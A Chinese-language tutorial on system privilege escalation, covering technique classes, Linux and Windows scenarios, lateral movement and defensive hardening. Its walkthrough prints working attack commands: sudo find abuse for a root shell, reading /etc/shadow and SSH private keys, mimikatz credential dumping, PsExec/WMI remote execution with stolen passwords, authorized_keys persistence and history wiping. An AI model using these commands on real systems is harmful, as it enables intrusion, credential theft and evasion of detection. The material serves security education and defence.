1. 引言在 Web 安全攻防中系统提权是攻击链中极为关键的一环。攻击者往往先通过 Web 漏洞获取一个低权限的立足点再借助系统配置缺陷、内核漏洞或服务权限问题将权限提升至管理员甚至系统级。本文围绕系统提权的常见手法、典型场景与防御思路展开帮助读者建立从原理到实战的完整认知。2. 什么是系统提权系统提权Privilege Escalation是指攻击者在已获得目标系统一定访问权限的基础上利用漏洞或配置缺陷将自身权限从低权限账户提升到更高权限账户的过程。常见的提权目标包括从普通 Web 应用用户提升为操作系统普通用户。从操作系统普通用户提升为管理员Windows或 rootLinux。从受限服务账户提升为系统级账户。提权成功意味着攻击者能够读取敏感文件、安装后门、横向移动甚至完全控制目标主机因此提权阶段往往是整个攻击链的分水岭。3. 提权的前置条件在讨论提权手法之前需要先明确攻击者通常如何获得初始立足点。常见的入口包括Web 应用漏洞SQL 注入、文件上传、命令注入、反序列化等。弱口令与暴力破解SSH、RDP、数据库、管理后台等。未授权访问管理接口、调试接口、云元数据服务等。供应链与第三方组件漏洞中间件、框架、依赖库的已知 CVE。获得初始权限后攻击者会先进行信息收集判断当前用户权限、系统版本、补丁情况、可写目录、计划任务、服务配置等再据此选择最合适的提权路径。4. 常见提权手法系统提权手法可以大致分为配置类提权、漏洞类提权和机制类提权三大类。下面分别介绍。4.1 配置类提权配置类提权利用的是系统或应用在部署、权限分配上的疏忽通常不需要利用内核漏洞门槛较低实战中出现频率很高。SUID 文件提权Linux查找具有 SUID 权限的可执行文件若其存在可利用的漏洞或可被替换则可能以文件属主通常是 root身份执行命令。Sudo 配置不当Linux当普通用户被授予某些命令的 sudo 权限且这些命令支持执行 shell 或读取敏感文件时可借此提升权限。可写 PATH 目录Linux当系统命令依赖的 PATH 中存在当前用户可写的目录且能以更高权限触发该命令时可通过伪造同名命令实现提权。服务权限配置不当Windows某些 Windows 服务以 SYSTEM 权限运行但其可执行文件路径或服务配置允许低权限用户修改可替换为恶意程序实现提权。计划任务Linux/Windows当计划任务以高权限运行且其执行的脚本或二进制文件可被低权限用户修改时可注入恶意代码。4.2 漏洞类提权漏洞类提权依赖操作系统内核或高权限服务中的安全缺陷通常影响面大、危害严重。内核漏洞提权利用 Linux 或 Windows 内核中的本地提权漏洞如脏牛 Dirty COW、CVE-2021-4034 等直接获取 root 或 SYSTEM 权限。服务漏洞提权利用以高权限运行的第三方服务如数据库、中间件、备份软件中的漏洞间接获得高权限。驱动漏洞提权利用存在缺陷的内核驱动程序通过恶意调用实现权限提升。4.3 机制类提权机制类提权利用的是系统自身设计机制中的薄弱环节常见于 Windows 环境。令牌窃取Token Impersonation在 Windows 中若当前进程拥有可模拟的令牌权限可窃取 SYSTEM 或管理员令牌执行高权限操作。未引用的服务路径Unquoted Service Path当服务路径包含空格且未加引号时系统可能按路径片段依次尝试加载程序攻击者可在可写目录中放置恶意程序。DLL 劫持当高权限程序加载 DLL 时若搜索路径中存在低权限用户可写的目录可放置恶意 DLL 实现代码执行。注册表自启动项利用以高权限运行的启动项或服务注册表项实现持久化与提权。为便于快速建立分类认知下面将三类提权手法从利用难度、触发条件、影响范围、典型代表和防御要点五个维度进行横向对比对比维度配置类提权漏洞类提权机制类提权利用难度较低无需内核漏洞门槛低较高依赖内核或服务漏洞需匹配补丁情况中等依赖系统机制特性需满足特定权限条件触发条件存在 SUID 文件、sudo 配置不当、可写 PATH 目录、服务权限配置不当、计划任务可写等存在未修补的内核漏洞、高权限服务漏洞或驱动漏洞具备可模拟令牌权限、未引用服务路径、可写 DLL 搜索路径、注册表自启动项等影响范围单机为主影响范围相对可控影响面大可能波及同版本内核或同类型服务的多台主机单机为主但可结合横向移动扩大影响典型代表SUID 文件提权、sudo 配置不当、可写 PATH 目录、计划任务提权脏牛Dirty COW、CVE-2021-4034、服务漏洞、驱动漏洞令牌窃取、未引用服务路径、DLL 劫持、注册表自启动项防御要点定期审计 SUID 文件、严格限制 sudo 权限、加固可写目录与 PATH、监控计划任务变更及时更新内核补丁、最小化服务账户权限、管控第三方组件版本移除不必要的令牌权限、服务路径加引号、管控自启动项与 DLL 搜索路径总体来看配置类提权门槛最低、实战中出现频率最高应作为日常巡检的重点漏洞类提权危害最大需通过补丁管理压缩暴露窗口机制类提权则多见于 Windows 环境需从系统机制层面加以约束。理解三类手法的差异有助于在防御时按优先级分配资源。5. 典型提权场景分析下面通过两个典型场景展示提权从信息收集到利用的完整思路。5.1 Linux 场景SUID 文件提权攻击者通过 Web 漏洞获得一个低权限 Shell首先执行信息收集命令查找系统中具有 SUID 权限的文件find / -perm -4000 -type f 2/dev/null若发现某个 SUID 程序存在已知漏洞或该程序支持执行外部命令则可利用其以 root 身份执行命令完成提权。防御上应定期审计 SUID 文件移除不必要的 SUID 权限。5.2 Windows 场景未引用服务路径提权攻击者通过弱口令进入一台 Windows 主机使用命令查询服务路径配置wmic service get name,displayname,pathname,startmode | findstr /i Auto | findstr /i /v C:\Windows\\若发现某个以 SYSTEM 权限运行的服务路径包含空格且未加引号且路径中的某个目录可写攻击者可在该目录放置恶意程序等待服务重启后以 SYSTEM 权限执行。5.3 综合实战从 Web 漏洞到系统提权下面通过一个完整案例串联从 SQL 注入获取低权限 Shell、信息收集、利用 sudo 配置不当完成提权的全过程。假设目标是一台运行 Linux 的 Web 服务器Web 应用存在 SQL 注入漏洞。第一步通过 SQL 注入获取低权限 Shell攻击者发现登录接口存在 SQL 注入使用 sqlmap 确认注入点并尝试写入 WebShell或通过注入读取数据库账号密码后登录后台再借助文件上传功能上传 WebShell。这里以 sqlmap 检测注入点为例# 检测目标 URL 是否存在 SQL 注入漏洞 # 预期输出显示注入类型如 boolean-based blind、注入参数及可用的数据库类型 sqlmap -u http://target/login.php?id1 --batch --dbs确认注入点后攻击者通过注入读取数据库中的用户表获得后台管理员口令登录后台并利用文件上传功能上传 PHP WebShell从而获得一个低权限的 Web Shell。随后通过反弹 Shell 获得一个交互式终端当前用户为www-data# 确认当前用户身份和权限 # 预期输出显示当前用户为 www-data属于 www-data 组权限较低 id第二步信息收集获得低权限 Shell 后攻击者开始系统信息收集重点排查内核版本、可写目录、SUID 文件以及 sudo 配置# 查看系统内核版本和发行版信息判断是否存在已知提权漏洞 # 预期输出显示内核版本如 5.4.0-91-generic和发行版名称 uname -a# 查看当前用户可执行的 sudo 命令列表 # 预期输出显示 User www-data may run the following commands 及对应命令白名单 sudo -l信息收集结果显示当前用户www-data被授予了find命令的 sudo 权限且无需密码# sudo -l 的预期输出示例 # User www-data may run the following commands on target: # (ALL) NOPASSWD: /usr/bin/find第三步利用 sudo 配置不当完成提权find命令支持通过-exec参数执行任意命令。由于当前用户拥有find的 sudo 权限攻击者可以借助-exec以 root 身份执行命令从而完成提权# 利用 sudo find 的 -exec 参数以 root 身份执行 /bin/bash获得 root Shell # 预期输出命令执行后提示符变为 roottarget当前用户变为 root sudo find / -exec /bin/bash \;执行后攻击者获得一个 root Shell可以读取/etc/shadow、安装后门、添加新用户或进行横向移动# 确认当前用户已变为 root # 预期输出显示当前用户为 rootuid0(root) gid0(root) id至此攻击者完成了从 SQL 注入获取低权限 Shell到信息收集再到利用 sudo 配置不当完成提权的完整攻击链。该案例说明Web 漏洞只是攻击的入口系统层面的配置疏忽如 sudo 权限授予过宽才是提权成功的关键。防御上应严格遵循最小权限原则避免将find、vim、less等支持执行外部命令的程序授予普通用户 sudo 权限。5.4 提权后的内网横向移动提权成功只是攻击链的中继站攻击者获得 root 或 SYSTEM 权限后通常会以内网横向移动为目标逐步扩大战果。横向移动的核心思路是以当前主机为跳板收集内网信息、窃取凭据、探测可达主机再利用凭据或漏洞登录其他主机最终逼近核心资产。下面结合 Linux 与 Windows 两种环境介绍提权后常见的横向移动手法。第一步内网信息收集获得高权限后攻击者首先摸清当前主机在内网中的位置包括网卡地址、路由表、ARP 缓存、DNS 配置以及已建立的网络连接据此判断内网网段与可达主机# 查看网卡 IP 与网段信息确认当前主机所在的内网地址段 # 预期输出显示 eth0 等网卡的 IP、掩码和广播地址 ip addr 查看路由表了解内网网段与默认网关 预期输出显示各网段的路由条目及网关地址 ip route 查看 ARP 缓存发现近期通信过的内网主机 预期输出列出内网中活跃主机的 IP 与 MAC 地址 arp -a 查看当前建立的 TCP 连接定位正在通信的远程主机 预期输出显示本地与远程的 IP:端口 连接状态 netstat -antp在 Windows 主机上可使用等价命令完成信息收集# 查看网卡 IP 与网段信息 ipconfig /all 查看路由表与 ARP 缓存 route print arp -a 查看当前建立的 TCP 连接 netstat -ano第二步内网主机探测确认网段后攻击者会扫描内网存活主机与开放端口定位可进一步渗透的目标。常用的手法包括 ICMP 探测、TCP 端口扫描以及利用系统自带工具进行批量探测# 使用 ping 批量探测内网存活主机以 192.168.1.0/24 为例 # 预期输出列出响应 ICMP 请求的存活主机 IP for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i /dev/null echo 192.168.1.$i is alive; done 使用 nc 探测常见端口如 22、445、3389、3306、6379 等 预期输出显示目标主机上开放的端口 nc -zv 192.168.1.10 22 445 3389 3306 6379 21 | grep succeeded若内网环境允许上传工具也可借助 nmap 进行更全面的扫描# 使用 nmap 扫描内网存活主机与常见服务端口 # 预期输出列出存活主机及其开放的端口与服务版本 nmap -sP 192.168.1.0/24 nmap -sS -p 22,80,443,445,3389,3306,6379 192.168.1.0/24第三步凭据窃取与复用横向移动最依赖的是有效凭据。攻击者会优先从当前主机提取已保存的密码、哈希或令牌再尝试在内网其他主机上复用。Linux 环境下常见的凭据来源包括# 读取 /etc/shadow 中的用户密码哈希需 root 权限 # 预期输出显示各用户的用户名与密码哈希字段 cat /etc/shadow 查找历史命令中可能泄露的密码或连接信息 预期输出显示 root 用户执行过的历史命令 cat /root/.bash_history 查找 SSH 私钥尝试直接登录其他主机 预期输出列出 /root/.ssh/ 下的私钥文件 ls -la /root/.ssh/ cat /root/.ssh/id_rsaWindows 环境下攻击者常借助 mimikatz 等工具从内存中提取明文密码或哈希# 使用 mimikatz 提取当前会话中的明文密码与哈希需 SYSTEM 权限 # 预期输出显示登录用户的用户名、域名、明文密码或 NTLM 哈希 .\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit此外Windows 的凭据管理器、浏览器保存的密码、数据库连接配置等也是常见的凭据来源。拿到凭据后攻击者会尝试使用 SSH、RDP、SMB 等方式登录其他主机。第四步利用凭据横向登录在 Linux 内网中SSH 是最常见的横向移动通道。攻击者若窃取到某台主机的 SSH 私钥或口令可直接登录# 使用窃取的 SSH 私钥登录内网其他主机 # 预期输出成功登录后获得目标主机的 Shell ssh -i id_rsa root192.168.1.20 使用口令批量尝试登录内网主机需谨慎避免触发告警 预期输出成功登录后获得目标主机的 Shell sshpass -p Pssw0rd ssh root192.168.1.20在 Windows 内网中攻击者常利用 SMB 协议配合 PsExec 或 WMI 实现远程命令执行# 使用 PsExec 以窃取的凭据在远程主机上执行命令 # 预期输出在远程主机上执行 whoami 并返回结果 .\PsExec64.exe \\192.168.1.20 -u DOMAIN\admin -p Pssw0rd whoami 使用 WMI 远程执行命令 预期输出在远程主机上执行命令并返回输出 wmic /node:192.168.1.20 /user:DOMAIN\admin /password:Pssw0rd process call create whoami若内网存在域环境攻击者还可利用窃取的域管理员凭据通过黄金票据、哈希传递Pass-the-Hash等手段批量控制域内主机实现更大范围的横向移动。第五步横向移动中的持久化与痕迹清理横向移动过程中攻击者通常会在新主机上建立持久化后门以便随时回连。常见手法包括添加 SSH 公钥、创建计划任务、注册自启动服务等。同时攻击者会清理日志与历史记录降低被发现的风险# 将攻击者公钥写入目标主机的 authorized_keys实现免密持久化登录 # 预期输出公钥写入成功后续可免密 SSH 登录 echo ssh-rsa AAAA... attackerhost /root/.ssh/authorized_keys 清理当前会话的历史命令记录 预期输出历史记录被清空 history -c rm -f /root/.bash_history需要强调的是横向移动的每一步都会在内网留下大量日志与流量痕迹。对防御者而言应重点监控异常的 SSH 登录、SMB 远程执行、凭据转储行为以及内网主机之间的异常连接并部署内网流量审计与主机入侵检测系统及时发现并阻断横向移动。6. 提权防御实践系统提权的防御需要从系统加固、权限最小化和持续监控三个层面入手。下面提供一组用于检测系统提权风险的 Linux/Windows 命令示例帮助运维与安全人员主动排查常见提权通道。6.1 Linux 提权风险检测命令在 Linux 环境中重点排查 SUID 文件、sudo 配置、计划任务以及可写目录等常见提权入口。# 查找系统中所有具有 SUID 权限的文件属主为 root 且带 s 位 # 预期输出列出 /usr/bin/passwd、/usr/bin/sudo 等带 SUID 位的可执行文件路径 find / -perm -4000 -type f 2/dev/null# 查看当前用户可执行的 sudo 命令列表 # 预期输出显示 User xxx may run the following commands 及对应命令白名单 sudo -l# 列出当前用户可读写的计划任务文件root 的 crontab 通常位于 /var/spool/cron/ # 预期输出显示 /etc/crontab、/etc/cron.d/ 下各任务文件路径及内容 ls -la /etc/cron* /var/spool/cron/ 2/dev/null# 查找当前用户可写的系统目录可能被用于 PATH 劫持或放置恶意脚本 # 预期输出列出 /tmp、/var/tmp 等可写目录以及 /usr/local/bin 等 PATH 中的可写项 find / -writable -type d 2/dev/null | grep -v proc6.2 Windows 提权风险检测命令在 Windows 环境中重点排查服务路径配置、计划任务、自启动项以及当前用户权限。# 列出所有服务及其可执行文件路径重点检查未加引号且包含空格的路径 # 预期输出显示服务名称、显示名、路径和启动类型便于人工识别未引用服务路径 wmic service get name,displayname,pathname,startmode | findstr /i Auto | findstr /i /v C:\Windows\\# 列出当前用户可修改的计划任务及其执行命令 # 预期输出显示任务名称、状态、下次运行时间和要执行的操作命令 schtasks /query /fo LIST /v# 查看注册表中以高权限运行的自启动项Run 键 # 预期输出列出 HKCU 和 HKLM 下 Run 键中的程序路径便于排查可疑自启动 reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run# 查看当前用户所属组及权限判断是否具备 SeImpersonatePrivilege 等可提权令牌权限 # 预期输出显示当前用户名、所属组列表以及是否包含 Administrators 等高权限组 whoami /all上述命令覆盖了 SUID 文件、sudo 配置、计划任务、服务路径和自启动项等主要提权通道。建议将其纳入日常巡检脚本并结合日志审计对异常输出进行告警从而在攻击者利用前及时发现并封堵提权风险。6.3 自动化提权检测工具除了手工执行检测命令安全团队还可以借助成熟的自动化工具在短时间内对目标系统进行全面的提权风险扫描。这类工具通常整合了 SUID 文件、sudo 配置、计划任务、服务路径、内核版本、可写目录、令牌权限等多项检查并输出结构化的结果便于快速定位可利用的提权通道。下面介绍 Linux 与 Windows 下常用的四款工具。6.3.1 LinuxLinEnumLinEnum 是一款经典的 Linux 提权枚举脚本以 Shell 脚本形式分发无需编译即可运行。它会自动收集系统信息、用户与权限、SUID 文件、计划任务、可写目录、sudo 配置等关键数据并输出带颜色标记的结果帮助审计人员快速识别潜在提权点。基本用法将脚本上传到目标主机后赋予执行权限并运行常用参数包括-t启用完整扫描、-e导出报告等。# 下载并运行 LinEnum启用完整扫描并将结果保存到文件 ./LinEnum.sh -t -e /tmp/linenum_report.txt输出解读要点重点关注标记为[]的高亮条目例如具有 SUID 权限的可疑文件、当前用户可写的 PATH 目录、无需密码即可执行的 sudo 命令以及版本过旧的内核信息这些往往是提权的直接入口。6.3.2 LinuxLinPEASLinPEASLinux Privilege Escalation Awesome Script是 PEAS 系列在 Linux 下的实现功能比 LinEnum 更全面内置了大量已知漏洞检测规则并会按风险等级对结果进行颜色分级红、黄、绿输出信息量更大适合深度排查。基本用法直接运行脚本即可也可通过-a参数启用更全面的检查。# 运行 LinPEAS 并执行完整检查 ./linpeas.sh -a输出解读要点优先查看RED红色标记的条目它们代表高风险的提权路径例如可利用的内核漏洞、配置不当的 sudo 规则、可写的服务二进制文件等YELLOW黄色为中等风险GREEN绿色为低风险或正常项。建议结合输出末尾的「Interesting Files」和「CVE」汇总进行人工复核。6.3.3 WindowsWinPEASWinPEAS 是 PEAS 系列在 Windows 下的版本用于枚举 Windows 系统中的提权风险点。它会检查服务路径、自启动项、计划任务、令牌权限、注册表键、可写目录、已安装补丁等并以颜色分级的方式输出结果是 Windows 提权检测的常用工具。基本用法在目标主机上以当前用户权限运行支持-quiet减少输出、-wait控制扫描间隔等参数。# 运行 WinPEAS执行完整检查并输出到文件 .\winPEASx64.exe -quiet winpeas_report.txt输出解读要点重点关注RED标记的服务路径尤其是未加引号且包含空格的路径、可被当前用户修改的服务二进制、具备SeImpersonatePrivilege等可提权令牌权限的账户以及缺失的关键安全补丁。6.3.4 WindowsSeatbeltSeatbelt 是 SpecterOps 团队开发的 Windows 安全枚举工具采用 C# 编写以命令模块的方式运行。与 WinPEAS 的「一键全扫」不同Seatbelt 更强调按需执行指定检查项输出结构清晰适合在红队评估或应急响应中精准定位问题。基本用法运行后指定要执行的检查模块例如TokenPrivileges令牌权限、Services服务配置、ScheduledTasks计划任务等。# 运行 Seatbelt检查令牌权限、服务配置和计划任务 .\Seatbelt.exe TokenPrivileges Services ScheduledTasks输出解读要点逐项查看各模块返回的结果重点关注服务路径是否可写、当前用户是否具备可模拟的高权限令牌、计划任务是否以高权限运行且脚本可被修改等异常项。综合来看自动化工具能显著提升提权风险排查的效率但输出信息量大需要结合人工判断进行甄别。建议将上述工具纳入定期的安全巡检流程与手工命令检测互为补充从而更全面地覆盖 Linux 与 Windows 环境下的主要提权通道。6.4 提权防御最佳实践清单结合前文分析的各类提权手法下面整理一份可直接落地的防御措施清单。每条措施均说明其对应的提权手法与落地建议供运维与安全人员在系统加固时参考。定期审计 SUID 文件对应 SUID 文件提权。建议每周执行find / -perm -4000 -type f 2/dev/null扫描全盘 SUID 文件与基线清单比对移除业务不需要的 SUID 位并对新增 SUID 文件进行告警。严格限制 sudo 权限对应 sudo 配置不当提权。遵循最小权限原则仅授予业务必需的命令避免将find、vim、less等支持执行外部命令的程序加入 sudo 白名单并定期用sudo -l复核授权范围。服务路径加引号对应未引用服务路径提权。在 Windows 服务配置中所有包含空格的路径必须使用双引号包裹并通过wmic service get name,pathname定期排查发现未加引号的路径立即修正。及时更新内核补丁对应内核漏洞提权。建立补丁管理流程跟踪 Linux 与 Windows 内核的安全公告在测试环境验证后尽快部署关键补丁缩短漏洞暴露窗口。最小化服务账户权限对应服务漏洞与令牌窃取提权。为每个服务分配独立且权限最小的账户禁止服务以 SYSTEM 或 root 运行并移除不必要的SeImpersonatePrivilege等令牌权限。监控计划任务变更对应计划任务提权。对/etc/cron*、/var/spool/cron/及 Windows 计划任务建立文件完整性监控任何新增或修改的任务脚本都应触发告警并人工复核。加固可写目录与 PATH对应可写 PATH 目录提权。确保/tmp、/var/tmp等目录挂载为noexec并检查 PATH 中是否存在当前用户可写的目录避免攻击者放置伪造同名命令。管控自启动项与注册表对应注册表自启动项与 DLL 劫持提权。定期审计HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run等自启动键移除可疑项并确保高权限程序加载 DLL 的搜索路径中无可写目录。实施文件完整性监控对应服务二进制替换与 DLL 劫持提权。对关键系统文件、服务可执行文件及配置文件启用完整性校验如 AIDE、Tripwire发现哈希变化立即告警并溯源。启用日志审计与告警对应各类提权行为的检测。集中收集 sudo 执行记录、服务创建、计划任务变更、账户权限调整等安全日志配置异常行为告警实现提权行为的快速发现与响应。上述清单覆盖了配置类、漏洞类与机制类提权的主要防御面。建议将其纳入系统上线基线、日常巡检与应急响应的标准流程并结合自动化检测工具持续验证加固效果形成「检测—加固—复核」的闭环。7. 总结系统提权是 Web 攻击链中承上启下的关键环节攻击者往往借助配置疏忽、内核漏洞或系统机制缺陷完成权限跃迁。对防御者而言既要通过补丁管理和权限最小化压缩提权面也要通过持续监控及时发现和阻断提权行为。理解提权的原理与手法是构建纵深防御体系的重要基础。